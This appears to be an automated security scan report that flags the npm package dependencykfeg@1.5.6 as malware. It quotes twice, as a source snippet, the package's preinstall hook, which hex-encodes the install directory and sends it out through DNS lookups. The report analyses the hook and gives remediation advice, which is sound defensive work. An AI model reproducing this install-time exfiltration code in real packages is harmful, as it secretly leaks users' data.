Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The preinstall hook automatically transmits the install path through DNS without consent. This is install-time data exfiltration. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-29T21:37:27.512Z - **Finished:** 2026-10-29T21:37:43.129Z - **Download time:** 250 ms - **Static scan time:** 6 ms - **AI review time:** 15360 ms - **Total time:** 15617 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The preinstall hook exfiltrates the package's working directory through DNS. - **Trigger:** Runs automatically during npm installation. - **Impact:** An external party controlling or observing the DNS query can recover the install path, which may expose usernames or project directory names. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-10-29T21:37:43.129Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Reads process.cwd(), encodes the path as hex, splits it into DNS labels, and looks up the resulting subdomain of google.com. - **Attack narrative:** During installation, the preinstall script sends the current working directory in a DNS lookup to a subdomain of google.com. The path is hex-encoded and split into labels, allowing it to be reconstructed by an observer. - **Rationale:** The preinstall hook automatically transmits the install path through DNS without consent. This is install-time data exfiltration. - **Network endpoints:** \.google.com ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The preinstall script reads the install working directory, hex-encodes it, splits it into DNS labels, and sends it in a lookup under google.com. ## Affected versions and remediation This report applies to dependencykfeg@1.5.6. - Avoid installing dependencykfeg@1.5.6. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const dns = require('dns'); const data = Buffer.from(process.cwd()).toString('hex'); const chunks = data.match(/.{1,63}/g).join('.'); dns.lookup(chunks + '.google.com', ()... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const dns = require('dns'); const data = Buffer.from(process.cwd()).toString('hex'); const chunks = data.match(/.{1,63}/g).join('.'); dns.lookup(chunks + '.google.com', ()... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall script reads the install working directory, hex-encodes it, splits it into DNS labels, and sends it in a lookup under google.com.
